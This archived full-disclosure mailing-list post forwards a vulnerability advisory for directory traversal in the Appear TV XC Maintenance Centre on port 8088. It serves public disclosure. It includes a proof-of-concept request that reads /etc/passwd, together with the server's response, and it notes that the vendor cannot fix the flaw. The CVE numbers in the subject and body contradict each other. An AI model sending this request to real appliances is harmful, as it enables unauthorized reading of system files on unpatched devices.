full-disclosure - Re: [FD] CVE-2018-7539 Directory Traversal on Appear TV Maintenance centre 8088

Open Source and information security mailing list archives

Date: Wed, 11 Apr 2018 08:30:21 +0000
From: IS Threat Team <Threat@...iva.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: Re: [FD] CVE-2018-7539 Directory Traversal on Appear TV Maintenance
 centre 8088

Please confirm that you have this

Thank you

From: IS Threat Team
Sent: 05 April 2018 10:31
To: 'fulldisclosure@...lists.org' <fulldisclosure@...lists.org>
Subject: FW: CVE-2018-7539 Directory Traversal on Appear TV Maintenance centre 8088

Discoverer: Arqiva Threat Team

Person Karl W

Product: Appear TV XC Hardware Maintenance Centre on port TCP/8088

Vendor : Appear TV

Code Versions: All Version

Vulnerability: Directory Traversal

Impact: It is possible to read OS files with specially crafted URL

Attack Type: Remote

CVE: CVE-2017-12544

------------------------------------------
Description

The web server (fuzzd/0.1.1) running the Maintenance Center on port TCP/8088 allows an attacker to use a specially crafted URL to read Operating System (OS) files.
This vulnerability was used in the full compromise of the appliance.

------------------------------------------

Proof code:

Request:

GET /../../../../../../../../../../../../etc/passwd
Host: x.x.x.x:8088
User-Agent: curl/7.56.1

Accept: */*

Response:

HTTP/1.1 200 OK
Content-Length: 1110
Content-Type: text/plain; charset=utf-8
Cache-Control: max-age=3600
Server: fuzzd/0.1.1

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin

------------------------------------------

[Reference]

https://www.appeartv.com/xc5000xc5100/

------------------------------------------

vendor confirmed and acknowledged the vulnerability

Advised work around by disabling Maintenance Centre when not in use.

Advised not able to fix.

------------------------------------------

Regards

Karl  W

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